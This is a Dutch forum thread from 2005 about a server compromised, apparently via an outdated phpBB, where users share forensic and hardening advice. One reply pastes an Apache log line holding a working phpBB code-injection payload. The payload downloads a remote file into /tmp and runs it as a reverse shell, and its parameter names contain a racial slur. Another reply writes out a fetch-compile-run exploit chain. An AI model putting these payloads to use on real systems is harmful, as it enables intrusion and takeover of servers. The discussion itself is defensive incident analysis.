[linux] Rare hack, onduidelijk hoe het gebeurd is... - Linux en overige clients

dinsdag 12 april 2005 20:13

Acties:

Topicstarter

Het gaat om een recent (1 maand oud) geinstalleerde machine. Ik heb er een standaard install van SuSE 9.1 op laten zetten.

Het eerste wat ik gedaan heb:
- Alle voorgeinstalleerde services eraf
- nieuwste OpenSSL + OpenSSH erop, alleen root login met password-protected private key is mogelijk. (OpenSSH_4.0p1, OpenSSL 0.9.7f 22 Mar 2005)
- nieuwste versie apache (Server version: Apache/2.0.53, Server built: Mar 29 2005 02:46:43)
- (toen) nieuwste versie PHP5 (PHP 5.0.3 (cli) (built: Mar 29 2005 01:53:21)), als apache shared module. Er zijn geen kritieke fouten gevonden in 5.0.3, al is er al wel een 5.0.4 uit.

Alleen de poorten 22,80,443 staan open in de firewall voor NEW, ESTABLISHED en RELATED verkeer. Verder wordt alles geblokt (inkomend dan).

Vanmorgen logde ik voor het eerst in na de install rond eind maart, en ik zag een process genaamd 'isec' draaien, wat 100% cpu trok. Even gezocht waar het stond (find / -name isec), en toen trof ik een hoop troep aan in de /tmp map.

code:

-rw-r--r--   1 nobody 4294967295  1487 Mar 30 23:51 1.c
-rw-r--r--   1 nobody 4294967295  7895 Mar 30 23:53 2.c
-rw-r--r--   1 nobody 4294967295  7895 Mar 30 23:53 2.c.1
-rwxr-xr-x   1 root   root        8192 Apr 12 18:16 _elf_lib
-rwxrwxrwx   1 nobody 4294967295 28792 Feb 20 21:24 isec
-rw-r--r--   1 nobody 4294967295 12651 Apr  4 11:02 pwned.c
-rwxrwxrwx   1 nobody 4294967295 18838 Mar  6 11:05 stackgrow
-rw-r--r--   1 nobody 4294967295   555 Feb  8 01:25 sun.pl
-rw-r--r--   1 nobody 4294967295 18742 Apr  1 20:42 use.c
-rw-r--r--   1 nobody 4294967295 12717 Apr  1 20:38 uselib.c

De standaard kernel bij SuSE 9.1 is: (uname -a)
Linux p15097278 2.6.9-041221 #1 SMP Tue Dec 21 16:00:43 CET 2004 i686 i686 i386 GNU/Linux

Ik vraag me af hoe ik aan deze serie DoS tools en exploits kom. Het merendeel heeft als owner de webserver user en groep, wat erop duidt dat de bestanden via de webserver op de machine gekomen zijn. Dan is er nog de _elf_lib binary, die als owner root heeft.

Verder draai ik op deze machine een oude versie van phpBB (website van een bekende) zag ik net, versie 2.0.8, heeft hij zelf geinstalleerd.
Hmmm http://www.pandasoftware....aspx?IdVirus=56520&sind=0 Ik zie dat ik wat te snel gepost heb. Dit moet dan wel een aangepaste vorm van Santy zijn, aangezien ik geen vervangen pagina's heb, en ik een stel extra exploits heb die niet bij santy horen.

Kan iemand me uitleggen hoe deze worm (ongeveer) te werk gaat? Ik zou zeggen dat, zelfs als phpBB lek is, er nog niets aan de hand is. Apache draait immers onder een non-priviliged account. Is phpBB soms zo lek dat er arbitraire bestanden kunnen worden geupload, en uitgevoerd? Dat zou verklaren waarom er ook andere exploits op staan, er zit een downloader bij.

-- edit:
phpBB zojuist bijgewerkt naar 2.0.13
rootkithunter uitgevoerd, vond niets
chkrootkit vond ook niets
nmap -sS vanaf een andere host levert geen openstaande poorten op, buiten de bekende poorten
Ook draaien er geen onbekende processen

[ Voor 6% gewijzigd door B-Man op 12-04-2005 20:32 ]

dinsdag 12 april 2005 20:30

Acties:

Zwerver

Neem iig FAQ Non-Windows Operating Systems - Overige vragen even door, daar staat wat info over wat te doen bij een compromised systeem. En doe me een plezier, zorg ervoor dat je heel goed weet wat je doet voordat je dit systeem weer door laat draaien @ internet.

Woonachtig Down Under. Ik negeer je insults niet, maar tegen de tijd dat ik ze lees zijn ze meestal niet relevant meer

dinsdag 12 april 2005 20:33

Acties:

Fairy

13kWp

De file pwned.c lijkt me een succesvolle hack. Ik zou de lan even loskoppelen en de zooi goed bestuderen.

Wat is de content van die file eigenlijk

[ Voor 23% gewijzigd door Fairy op 12-04-2005 20:34 ]

dinsdag 12 april 2005 20:40

Acties:

Reptile209

- gers -

B-Man schreef op dinsdag 12 april 2005 @ 20:35:
[...]

Het is een co-located machine (www.1und1.de, kennen sommigen hier misschien wel).
Ik kan daar binnen 5 minuten een nieuwe install op laten zetten, heb een backup, en een zelfgemaakt automated build systeem.

Kortom: ik zet er morgen wel even een nieuwe install op.

En hoe zeker ben je dat die backup niet binnen 10 minuten opnieuw open ligt? Misschien zit daar al ergens iets goed mis in... Ik zou toch even een aantal extra maatregelen nemen voordat je 'm opnieuw aan het net gooit. En wellicht is het erg interessant om deze schijf even te bewaren om te achterhalen waarom en hoe ze je gepakt hebben.

Zo scherp als een voetbal!

dinsdag 12 april 2005 20:41

Acties:

Andre-85

Sid

Lijkt me noodzakelijk om te weten wat voor exploit er gebruikt is anders ben je in no time weer de sjaak.
Ik zou dat toch eerst proberen te achterhalen

Lorem
Whenever we feel the need to comment something, we write a method instead. - Martin Fowler
People who think they know everything really annoy those of us who know we don't - Bjarne Stroustrup

dinsdag 12 april 2005 20:45

Acties:

4VAlien

Intarweb!

Volgens mij is die kernel zowiezo niet helemaal goed:
http://www.securityfocus.com/bid/12190/discussion/
is misschien van toepassing

[ Voor 6% gewijzigd door 4VAlien op 12-04-2005 20:46 ]

dinsdag 12 april 2005 20:52

Acties:

B-Man

Topicstarter

Voor local exploits ben ik niet bang, ik ben immers de enige met shell toegang. Met mijn backup is ook niets mis, deze bevat enkel het forum en een paar kleine websites (die ik natuurlijk wel even handmatig naloop).
De software compileer ik opnieuw, dus daar lijkt me verder ook niets mee aan de hand te zijn.

Alle services die ik draai zijn up to date, en omdat ik zelf dat forum niet beheer, is dat er tussendoor geglipt.
Ik draai bij 1und1 in totaal 6 machines, ook met 2.4 kernels, die niet helemaal up-to-date zijn. De services die erop draaien zijn wel up to date (nieuwste openssh, enkel FTP over SSL, enz). Die machines draaien ook 24/7, en al een paar jaar. Nog nooit gehackt, en gezien de logs, zijn er al genoeg pogingen geweest.
Stom van me, dat ik niet eerder gekeken heb naar phpBB, dat is ronduit slordig van mezelf

. Dit is gewoon een van de servers die ik draai, waar niets nuttigs op staat, en daarmee een wat lagere prioriteit heeft in mijn planning.

Verder ben ik benieuwd of iemand me wat meer over de isec binary kan vertellen. Want voordat ik morgen een reinstall doe, zou het interessant zijn om wat meer te weten te komen.

dinsdag 12 april 2005 20:55

Acties:

r0b

B-Man schreef op dinsdag 12 april 2005 @ 20:52:
Voor local exploits ben ik niet bang, ik ben immers de enige met shell toegang. Met mijn backup is ook niets mis, deze bevat enkel het forum

Update dit forum sowieso naar de laatste versie, of stap zelfs over naar een ander forum, er worden regelmatig exploits gevonden in phpBB en 2.0.8 is al redelijk outdated en dus zeker vulnerable.

edit:
Dat was je dus al van plan lees ik net.

[ Voor 6% gewijzigd door r0b op 12-04-2005 20:57 ]

dinsdag 12 april 2005 20:56

Acties:

TTIelu

mischien een leuk idee om je /var/log eens na te kijken, hierin kunnen IP's van connecties staan en informatie over services die draaien op het systeem.

verder apache logs, mischien geen goed idee, ivm grote hoeveelheden trafiek maar het is een mogelijkheid

als chrootkit geen rootkits aantreft en er in passwd geen nieuwe gebruikers staan, neem ik aan dat het gewoon een gefaalde poging is om het systeem te rooten met behulp van een bekend phpBB lek welk het mogelijk maakt om via http requests commando's uit te voeren (wget exploit.c;gcc exploit.c -o exploit;/tmp/exploit &)

dat alle files in /tmp staan kan dit bevestigen, daarin heeft iedereen schrijfrechten.

verder bekijk /etc/rc.d/ (denkik;word die naar het huidige runlevel geliked?) om te checken of daar onbekende processen instaan, indien dit zo is zou ik voor een backup gaan want dan is er wss geprutst met meerdere files, indien niet gewoon het process killen, de tmp leegmaken, desnoods rebootje doen en het zou gefixed moeten zijn.

editje:
je zegt hierboven "ik ben de enige met shell toegang", alle draaiende processen kunnen "commando's uitvoeren", en als er een exploit voor de kernel is, hebben ze kernel macht = root

en die isec is een kernel exploit, valt wel meer info over te vinden op google: isec ptrace exploit

[ Voor 17% gewijzigd door TTIelu op 12-04-2005 21:02 ]

dinsdag 12 april 2005 21:06

Acties:

igmar

ISO20022

B-Man schreef op dinsdag 12 april 2005 @ 20:13:

code:

-rw-r--r--   1 nobody 4294967295  1487 Mar 30 23:51 1.c
-rw-r--r--   1 nobody 4294967295  7895 Mar 30 23:53 2.c
-rw-r--r--   1 nobody 4294967295  7895 Mar 30 23:53 2.c.1
-rwxr-xr-x   1 root   root        8192 Apr 12 18:16 _elf_lib
-rwxrwxrwx   1 nobody 4294967295 28792 Feb 20 21:24 isec
-rw-r--r--   1 nobody 4294967295 12651 Apr  4 11:02 pwned.c
-rwxrwxrwx   1 nobody 4294967295 18838 Mar  6 11:05 stackgrow
-rw-r--r--   1 nobody 4294967295   555 Feb  8 01:25 sun.pl
-rw-r--r--   1 nobody 4294967295 18742 Apr  1 20:42 use.c
-rw-r--r--   1 nobody 4294967295 12717 Apr  1 20:38 uselib.c

Bovenstaande komt van Apache af. Indien gewenst kun je met grsec / selinux een hoop ellende bespraren.

dinsdag 12 april 2005 21:29

Acties:

B-Man

Topicstarter

TTIelu schreef op dinsdag 12 april 2005 @ 20:56:
mischien een leuk idee om je /var/log eens na te kijken, hierin kunnen IP's van connecties staan en informatie over services die draaien op het systeem.

verder apache logs, mischien geen goed idee, ivm grote hoeveelheden trafiek maar het is een mogelijkheid

als chrootkit geen rootkits aantreft en er in passwd geen nieuwe gebruikers staan, neem ik aan dat het gewoon een gefaalde poging is om het systeem te rooten met behulp van een bekend phpBB lek welk het mogelijk maakt om via http requests commando's uit te voeren (wget exploit.c;gcc exploit.c -o exploit;/tmp/exploit &)

dat alle files in /tmp staan kan dit bevestigen, daarin heeft iedereen schrijfrechten.

verder bekijk /etc/rc.d/ (denkik;word die naar het huidige runlevel geliked?) om te checken of daar onbekende processen instaan, indien dit zo is zou ik voor een backup gaan want dan is er wss geprutst met meerdere files, indien niet gewoon het process killen, de tmp leegmaken, desnoods rebootje doen en het zou gefixed moeten zijn.

editje:
je zegt hierboven "ik ben de enige met shell toegang", alle draaiende processen kunnen "commando's uitvoeren", en als er een exploit voor de kernel is, hebben ze kernel macht = root

en die isec is een kernel exploit, valt wel meer info over te vinden op google: isec ptrace exploit

/var/log heb ik nagekeken, maar aangezien er iedere half uur of zelfs vaker scans zijn, sshd login attempts, etc, en ik niet precies weet wanneer in de afgelopen 2,5 week de exploit gebruikt is, is het een speld zoeken in een hooiberg. Apache logs: hetzelfde verhaal. Tenzij iemand me kan vertellen of ik kan zoeken op een specifieke GET (naar een specifiek phpBB script ofzo).
In /etc/rc.d/ staat ook niets nieuws, en tevens niets vreemds.

code:

1	cat /etc/init.d/* \| grep isec (en grep /tmp)

leveren ook niets spannends op.

Ik snap dat draaiende processen commando's kunnen uitvoeren

Wat ik bedoelde te zeggen is dat deze processen onder non-priviliged gebruikers draaien. M.a.w.: als de software niet lek is, zal deze enkel bekende taken uitvoeren onder een non-root account. Als software (zoals phpBB in dit geval) lek is, is het inderdaad een ander verhaal.

igmar: behalve de _elf_lib binary dan, die is van root.
Is grsec/selinux de security enhanced version van de kernel?

Die staat sowieso al een tijdje op mijn agenda. Met name vanwege (bijvoorbeeld) de functie om IP's automatisch op- en af te voeren in de firewall als ze veelvuldig proberen in te loggen.
Wacht, is grsec ook niet juist de uitbreiding die (met name) kernel exploits voorkomt?

dinsdag 12 april 2005 21:44

Acties:

frim

Die elf lib is een stuk nieuwer dan die andere files.. weet je zeker dat je die niet zelf hebt aangemaakt terwijl je naar exploits zocht?

dinsdag 12 april 2005 22:00

Acties:

Spider.007

* Tetragrammaton

Als je wil weten wat de binary ongeveer doet zou je hem eens kunnen stracen

frim schreef op dinsdag 12 april 2005 @ 21:44:
Die elf lib is een stuk nieuwer dan die andere files.. weet je zeker dat je die niet zelf hebt aangemaakt terwijl je naar exploits zocht?

Is het niet logischer dat de scriptkiddies een bestaande exploit met een late mtime hebben geupload; en de binary pas recent hebben gecompiled?

---
Prozium - The great nepenthe. Opiate of our masses. Glue of our great society. Salve and salvation, it has delivered us from pathos, from sorrow, the deepest chasms of melancholy and hate

dinsdag 12 april 2005 22:38

Acties:

TTIelu

Spider.007 schreef op dinsdag 12 april 2005 @ 22:00:
Als je wil weten wat de binary ongeveer doet zou je hem eens kunnen stracen

[...]

Is het niet logischer dat de scriptkiddies een bestaande exploit met een late mtime hebben geupload; en de binary pas recent hebben gecompiled?

ik neem aan dat die _elf_lib de Linux kernel 2.4 uselib() privilege elevation exploit is

lees:
http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt

[ Voor 10% gewijzigd door TTIelu op 12-04-2005 22:39 ]

dinsdag 12 april 2005 22:50

Acties:

Zwerver

M.a.w., en dat haal je hier hoop ik zelf ook uit is morgen het systeem opnieuw installeren en instellen eigenlijk al aan de late kant. Maak ajb even een backup van je disk en doe wat forensics achteraf, dan kan je misschien beter achterhalen wat er mis is. Verder vond ik van jou ook al een eerder topic over DDOS vanaf je server, dus zo secure ben je toch niet blijkbaar?

Woonachtig Down Under. Ik negeer je insults niet, maar tegen de tijd dat ik ze lees zijn ze meestal niet relevant meer

dinsdag 12 april 2005 22:55

Acties:

lordgandalf

pwned.c is een local root exploit volgens packetstorm:

Local sys_uselib root exploit for the Linux 2.4 and 2.6 kernel series.

http://packetstormsecurity.org/filedesc/pwned.c.html

Steam: Profile / Socialclub: Profile / Uplay: minedwarf / Origin: lordgandalf3

dinsdag 12 april 2005 23:02

Acties:

Rob

Zwerver schreef op dinsdag 12 april 2005 @ 22:50:
M.a.w., en dat haal je hier hoop ik zelf ook uit is morgen het systeem opnieuw installeren en instellen eigenlijk al aan de late kant. Maak ajb even een backup van je disk en doe wat forensics achteraf, dan kan je misschien beter achterhalen wat er mis is. Verder vond ik van jou ook al een eerder topic over DDOS vanaf je server, dus zo secure ben je toch niet blijkbaar?

Een DDOS vanaf zijn server is makkelijk.
Als hij via zijn phpBB gehackt is, dan kunnen er processen draaien onder het nobody account, als de exploit een beetje netjes geprogrammeerd is, kunnen ze een DDOS uitvoeren.
Of als het nog netter geprogrammeerd is, dan maken ze een IRC-bot welke inlogt op een kanaal. Deze irc-bot reageert, samen met andere gehackte machines, dan op bepaalde commando's.

In the beginning the Internet was a bunch of smart users with dumb terminals. Now...

dinsdag 12 april 2005 23:03

Acties:

Booster

Superuser

Als extra maatregel kun je op de nieuwe install je /tmp op een aparte partitie zetten, en deze noexec mounten. Hierdoor wordt het onmogelijk op files uit te voeren op de gehele partitie, ookal hebben ze execute permissions.

The cake is a lie | The Borealis awaits...

dinsdag 12 april 2005 23:40

Acties:

active2

Google is your friend

Booster schreef op dinsdag 12 april 2005 @ 23:03:
Als extra maatregel kun je op de nieuwe install je /tmp op een aparte partitie zetten, en deze noexec mounten. Hierdoor wordt het onmogelijk op files uit te voeren op de gehele partitie, ookal hebben ze execute permissions.

Zo onmogelijk is dat niet.

Topic starter: Die exploit is van begin maart, je zegt dat die bak begin maart is opgezet. Dan heb je op dit moment wel even heel erg pech. Die bak is hoogstwaarschijnlijk vrijwel direct nadat je hem geinstalleerd hebt geroot. Verder raad ik aan, net als wat Zwerver zegt, even een backup maken van die hd en later even wat forensics er op los te laten. Op die manier kom je te weten wat ze nog meer gedaan hebben.

En als ik je een raad mag geven, probeer bij de packages te blijven die bij je distro meekomen. Het is bijna onmogelijk om een systeem dat je zelf gecompiled hebt bij te houden, het betekend namelijk wel dat je continue de security sites, en de package sites mag afstropen naar nieuwe versies en of er een root exploit in gevonden is. (En dan weet je het nog niet zeker) Packagers van distributies hebben nog wel eens extra informatie tot hun beschikking over een exploit die nog niet vrij gegeven is.

Succes.

Google, Het mirakel van de 21e eeuw!!!!

woensdag 13 april 2005 00:04

Acties:

DeMoN

Pastafari

Check ook nog even je .bash_history van root

Heb ook een keer gezien dat die gelinked was naar /dev/null

Maar dat checked chkrootkit iig al weet ik dus dat zal wel niet zo zijn. Maar misschien als hij echt root shell access heeft gehad is hij na het niet zo handige van het niet deleten van /tmp/* ook vergeten je ~/.bash_history te legen

Gamertag: Cosmicv0id
"Het woord Gods is voor mij niets meer dan een expressie en het product van menselijke zwakheid. De Bijbel is een verzamelwerk van legendes die achtenswaardig zijn maar ook primitief en kinderachtig.'' - Albert Einstein

woensdag 13 april 2005 00:16

Acties:

Lizard

Ik heb toevallig ook zoiets mee gemaakt, dit stond er in mijn apachelog:

code:

203.91.134.xxx - - [09/Apr/2005:10:06:20 +0200] "GET /project7/ HTTP/1.0" 200 16109 "http://xxx.org/project7/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.91.134.xxx - - [09/Apr/2005:10:06:27 +0200] "GET /project7/ HTTP/1.0" 200 15369 "http://xxx.org/project7/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.91.134.xxx - - [09/Apr/2005:10:06:32 +0200] "GET /project7/admin/admin_db_utilities.php?perform=backup&additional_tables=&backup_type=structure&drop=1&backupstart=1&gzipcompress=0&startdownload=1&sid=bbe40ab3516ca2b8a47dd6104764121e HTTP/1.0" 200 13991 "http://xxx.org/project7/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.91.134.xxx - - [09/Apr/2005:10:06:37 +0200] "POST /project7/admin/admin_db_utilities.php?sid=bbe40ab3516ca2b8a47dd6104764121e HTTP/1.0" 200 9088 "http://xxx.org/project7/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.91.134.xxx - - [09/Apr/2005:10:06:41 +0200] "POST /project7/admin/admin_styles.php?mode=export&sid=bbe40ab3516ca2b8a47dd6104764121e HTTP/1.0" 200 9383 "http://xxx.org/project7/admin/admin_styles.php?mode=export" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.91.134.xxx - - [09/Apr/2005:10:16:54 +0200] "GET /project7/admin/admin_styles.php?mode=addnew&install_to=../../../../../../../../../../../../../../../../../../../tmp&sid=bbe40ab3516ca2b8a47dd6104764121e&niggaip=203.81.217.71&niggaport=6432&nigga=$a=fopen(\"http://www.xxxx.com/pgc\",\"r\");$b=\"\";while(!feof($a)){$b%20.=%20fread($a,200000);};fclose($a);$a=fopen(\"/tmp/.sesss_\",\"w\");fwrite($a,$b);fclose($a);chmod(\"/tmp/.sesss_\",0777);system(\"/tmp/.sesss_%20\".$_REQUEST[niggaip].\"%20\".$_REQUEST[niggaport].\"%20-e%20/bin/sh\"); HTTP/1.0" 200 7925 "http://xxx.org/project7/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Dit kwam ik dus in m'n logfiles tegen en er was een bestand r0nin wat vanuit /tmp draaide...

Dit kwam dus ook door een oude phpbb install.

Misschien heb je er wat aan. Verder heb ik alle IP's onherkenbaar gemaakt zodat dit niet zomaar herhaald kan worden...

woensdag 13 april 2005 09:25

Acties:

Seth4Chaos

that's me...

Je had het er over dat jij de enige bent die op die bak kan inloggen en je dus geen zorgen maakt over 'local root exploits' maar als je doormiddel van een bug in phpBB lokaal bestanden kan uitvoeren dan kan je phpBB die local root exploit laten uitvoeren en ben je alsnog root.

Mistakes are proof that you are trying...

woensdag 13 april 2005 09:49

Acties:

nzyme

terror

dus door een bug in phpBB kan je ineens door "apache/php" heen en een shell krijge

fraai stukje werk voor slechts een zooi php pagina's

| Hardcore - Terror |

woensdag 13 april 2005 12:41

Acties:

DiedX

Yup. Je kan zowiezo furl_open in je PHP.INI uitzetten. Wget en gcc verwijderen scheelt nog eens 25%. Maar waar dit door gekomen is: je kernel.

Als die goed is, heb je 99% afgevangen. En die was niet goed. Full reinstall. Apache uit, nieuwe kernel en phpBB, en gaan!

DiedX supports the Roland™, Sound Blaster™ and Ad Lib™ sound cards

woensdag 13 april 2005 13:14

Acties:

DeMoN

Pastafari

DiedX schreef op woensdag 13 april 2005 @ 12:41:
Yup. Je kan zowiezo furl_open in je PHP.INI uitzetten. Wget en gcc verwijderen scheelt nog eens 25%. Maar waar dit door gekomen is: je kernel.

Als die goed is, heb je 99% afgevangen. En die was niet goed. Full reinstall. Apache uit, nieuwe kernel en phpBB, en gaan!

Nou ja, 99%?
afaik kan je de kernel alleen local exploiten zodat je een root shell krijgt.
de rest zijn lekke services die mogelijk zijn zoals apache of samba of zo.. Dit zijn vaak services die naar het internet open staan en waar je dus van op hun poort kan connecten en evt. remote exploiten. In dit geval was apache niet lek maar icm phpBB werd apache gebruikt om phpBB zo aan te sturen dat er wat lokaal uitgevoerd kon worden

Kernel up to date hebben is zeker belangrijk maar 99% lijkt me wat overdreven

Gamertag: Cosmicv0id
"Het woord Gods is voor mij niets meer dan een expressie en het product van menselijke zwakheid. De Bijbel is een verzamelwerk van legendes die achtenswaardig zijn maar ook primitief en kinderachtig.'' - Albert Einstein

woensdag 13 april 2005 16:27

Acties:

nzyme

terror

trouwz, sinds wanneer heb je dev toolz op een server

| Hardcore - Terror |

woensdag 13 april 2005 16:47

Acties:

Verwijderd

Hellraizer schreef op woensdag 13 april 2005 @ 16:27:
trouwz, sinds wanneer heb je dev toolz op een server

Sinds dat dat soms retehandig is (net zoals X libs)

Als je je software goed up2date houd hoeft dat ook geen probleem te zijn. Dan heb je n'l alleen last van 0day sploits of verkeerd geconfigureerde software. Maarja, als iemand 0day's gebruikt op jou site dan is er een stuk meer aan de hand dan niet up2date gehouden software

[ Voor 7% gewijzigd door Verwijderd op 13-04-2005 16:48 ]

woensdag 13 april 2005 17:34

Acties:

nzyme

terror

mjah . . . .ik zou t zelf iig nooit doen ofzow, voor bv een nieuwe kernel bakken gebruik ik wel een andere bak (non-server dus) .

| Hardcore - Terror |

woensdag 13 april 2005 17:49

Acties:

Booster

Superuser

active2 schreef op dinsdag 12 april 2005 @ 23:40:
Zo onmogelijk is dat niet.

Mh, heeft zo te zien inderdaad wel wat makkelijke workarounds

De manual voor mount deed anders vermoeden. Maar kan nogsteeds een goeie voet achter de deur zijn natuurlijk, zeker als het autorooters betreft.

The cake is a lie | The Borealis awaits...

woensdag 13 april 2005 17:52

Acties:

psyBSD

Hates 0x00 bytes

Hellraizer schreef op woensdag 13 april 2005 @ 09:49:
dus door een bug in phpBB kan je ineens door "apache/php" heen en een shell krijge fraai stukje werk voor slechts een zooi php pagina's

Dat valt best wel mee. Je moet het niet overdrijven.

woensdag 13 april 2005 18:35

Acties:

serkoon

mekker.

psyBSD schreef op woensdag 13 april 2005 @ 17:52:
Dat valt best wel mee. Je moet het niet overdrijven.

Eigenlijk valt het enorm tegen. Er worden zeer regelmatig bugs gevonden in PhpBB, die ook actief geexploit worden. Samen met een aantal recente kernel bugs levert dat heel makkelijk een flink gehackte linuxdoos op, precies zoals bij TS gebeurd is/lijkt.

Mijn advies: -geen- PhpBB draaien, hoewel je dat bij klanten niet altijd kunt voorkomen. Als je het al doet, doe het dan in een gechroote apache met suphp e.d. En natuurlijk altijd updaten, ook als het alleen een local exploitable bug blijft.

[ Voor 7% gewijzigd door serkoon op 13-04-2005 18:36 ]

woensdag 13 april 2005 20:42

Acties:

pierre-oord

Volgens mij valt het best wel mee, die exploit van PHPBB. Als je PHP in safemode draait, de openbasedir op "../:." zet, dan kan er volgens mij niet zoveel misgaan. Executen gaat niet meer, bestanden lezen buiten de phpbb directory gaat (met deze instelling) tot maar 1 subniveau lager (zelfs at kun je weghalen, of nog beter, in de <virtualhost> van apache zet je via ik dacht php_admin_value openbasedir "/www/path/naar/phpbb" zodat die echt nergens anders meer heen kan.

Dan heb je toch geen last van bugs of slecht geprogrammeerde sites? Op die manier houdt ik ook mijn webhosting een beetje veilig: Als er in PHPbb een bug zit om access te krijgen, dan kan het door mensen die zelf script kunnen uploaden natuurlijk helemaal makkelijk fout gaan...

Ondernemer in tech (oud LOQED.com, nu UpToMore.com)

woensdag 13 april 2005 20:52

Acties:

serkoon

mekker.

Helaas zijn veel php-opties (zoals safemode) geen optie op webhosting platforms met veel klanten, omdat er nog steeds php-apps zijn die stuk gaan wanneer safemode aan staat.

Maar inderdaad, ook in php zelf zijn al veel dingen te beveiligen. Blijft over dat veel mensen dat niet doen of kunnen doen en alsnog PhpBB (en andere 'php')-exploits veel voorkomen.

woensdag 13 april 2005 21:24

Acties:

pierre-oord

Naar eigen ervaring zijn veel apps die niet zouden werken onder safemode prima werkend te krijgen eronder. Meestal willen ze iets van je systeem executen, 1 execute directory maken met daarin een aantal symlinks naar de juiste files lost dat probleem op. Als er dan nog 1 site is die moeilijk doet doordat die pagina's wil includen op de manier van ../../../../home.php dan kun je voor die site het beste even die een <directory> in apache aangegeven wat de openbasedir voor die directory is. Super veilig naar mijn idee

Ondernemer in tech (oud LOQED.com, nu UpToMore.com)

woensdag 13 april 2005 23:19

Acties:

Verwijderd

Modbreak:Dit vind ik nou niet bepaald de bedoeling. Dat jij je hacking-skills op een bepaald niveau hebt is leuk voor je, maar ga hier in NOS nou geen mensen op slechte ideeen brengen!

[ Voor 80% gewijzigd door Zwerver op 14-04-2005 10:33 ]

woensdag 13 april 2005 23:24

Acties:

froggie

Kwaaak

pierre-oord, onder het mom van "better safe then sorry", heb je hier misschien duidelijke lectuur over? En dan bedoel ik niet de eerste de beste "Setup your own LAMP server" maar een stuk leesvoer wat echt ingaat op de ins en outs van het dicht zetten van je webserver. Ik kom niet veel verder dan de standaard php/apache documentatie en wat losse tips her en der, maar ik ben bang dat dat niet genoeg is.

donderdag 14 april 2005 13:30

Acties:

Verwijderd

Waarom zou je al die software die al bij SUSE zit zelf compilen? Er zjin niet voor niks software updates. Een verse install van een OS + alle updates is zeker wel veilig. Ik gok in veel gevallen veiliger dan de zelfgecompileerde dingen van jou (gezien je dit soort vragen hier @ NOS stelt)...

Oplossing (als je geen zin hebt om onderzoek te doen): Installeer de laatste versie van de distro die je wilt, installeer alle updates en hang hem daarna aan 't net (of activeer de firewall tijdens de installatie als ie al aan 't net hangt). Zorg ook dat je regelmatig je distro updates installeert en reboot als er een nieuwe kernel geinstalleerd is. Ga zelf geen software compilen omdat je dan niet meer automatisch de updates van je distro kunt installeren. Doe dat alleen als je *echt* weet wat je doet. Overigens draai je dan liever Slackware (vanwege non intrusive package management).

donderdag 14 april 2005 16:09

Acties:

B-Man

Topicstarter

Ik compileer zelf al jaren software, dus dat is geheel het probleem niet. Dit is toevallig een bak waar ik niet veel mee doe, en waar een vriend van me dus wat webspace op heeft. Hij heeft er toevallig een oude versie van phpBB opgezet, en dat heb ik over het hoofd gezien.

Twijfelen aan mijn kunde omtrent het beheren van een linuxbox lijkt me dan ook niet nodig, ik heb zelfs ooit bij een security audit te horen gekregen dat het allemaal wel _erg_ veilig was.

Ik ben geen fan van automatische updates, vandaar dat ik een custom build systeem heb, waarmee ik door het uploaden van een nieuw XML bestandje met een aangepast versie nummer (bijvoorbeeld voor apache, even 2.0.53 neerzetten), en het runnen van mijn build systeem, een nieuwe versie van apache heb draaien, precies zo geconfigureerd en geoptimaliseerd als ik dat wil.

Ik draai op de meeste machines maar 4 of 5 services, die makkelijk te overzien zijn. Ik geef jullie/je (felix) helemaal gelijk als het gaat om machines waar erg veel tegelijk op draait, of waar anderen ook shell toegang hebben. Maar zoals ik al aangaf, afgezien van de machine waar het hier omgaat (waar een ander enkel schrijfrechten heeft op een enkele map, via secure FTP), beheer ik enkel machines waar bekend spul op draait, en enkel ik toegang heb.

Ik stelde hier enkel de vraag omdat ik niet begreep hoe een van mijn machines (zonder gedacht te hebben aan phpBB) gehackt kon worden, want mijn beveiligingsstrategie is al jaren waterdicht. Toen ik me bedacht dat het aan phpBB lag, veranderde mijn vraag dan ook meer in de richting: hoe kan phpBB zo lek zijn?
Maar natuurlijk, als phpBB zaken als fopen aanroept met ongecontroleerde URL parameters enzo, ja dan is het niet zo gek dat dit misgaat. Dat is overigens ook zo ongeveer de meest gemaakte fout met PHP, input niet controleren. Ik had dan ook verwacht dat een veelgebruikt forum als phpBB niet van dit soort cruciale fouten zou bevatten.

-- Oh, en wat ik nog vergat: ik draai niet enkel op SuSe, ook op redhat, debian, en met name LinuxFromScratch. Daarom heb ik een custom build-systeem geschreven, zodat ik in alle omgevingen mijn services op eenzelfde manier kan beheren. Dit verschilt namelijk behoorlijk tussen sommige packages voor de verschillende distro's. Ook optimaliseer ik de geinstalleerde services zo goed mogelijk (wat packages vaak niet zijn), omdat de paar services die ik veel draai zwaar belast worden. Misschien dat dat verklaart waarom ik het zelf doe.

[ Voor 13% gewijzigd door B-Man op 14-04-2005 16:12 ]

donderdag 14 april 2005 16:19

Acties:

Gerco

Professional Newbie

Wat ik graag zou weten is hoe je het kan voorkomen dat phpBB een lokale root exploit kan lanceren. Mijn servers zijn zo veilig als ik weet hoe ze te maken, php heeft een open_basedir in de homedir van de betreffende user bijvoorbeeld. Helaas kan php dan nog steeds in /tmp een exploit dumpen en uitvoeren, oplossing: safe-mode.

Ik draai trouwens Hardened Gentoo en daarvoor heb je gcc nodig. gcc is alleen executable voor de groep admins, dus dat lijkt me ook redelijk veilig, maar houdt niemand tegen om een binary te uploaden.

Helaas draai ik niet alleen PHP, maar ook apache, unreal tournament, teamspeak, etc. Deze hebben allemaal een eigen user die niets mag, maar blijkbaar is dat (gezien de hack in dit topic) niet voldoende. Wat moet je dan doen om dat soort dingen te voorkomen ?

PS. Als je bij een audit het predikaat "erg veilig" hebt gekregen denk ik dat we allemaal erg blij zullen zijn als je die kennig met ons kan delen, ik zou iig graag ook zo'n predikaat in de wacht slepen

[ Voor 12% gewijzigd door Gerco op 14-04-2005 16:20 ]

- "Als ik zou willen dat je het begreep, legde ik het wel beter uit!" | All number systems are base 10!

donderdag 14 april 2005 18:28

Acties:

B-Man

Topicstarter

offtopic:
Gerco: het betrof bij die audit een IPSEC-VPN oplossing, gebaseerd op LinuxFromScratch. Niet direct gerelateerd aan de php vragen waar we het nu over hebben, maar als je een specifieke vraag hebt: shoot.

